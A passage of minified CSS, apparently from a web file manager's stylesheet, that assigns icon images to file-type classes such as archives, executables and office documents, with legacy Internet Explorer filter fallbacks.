\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none 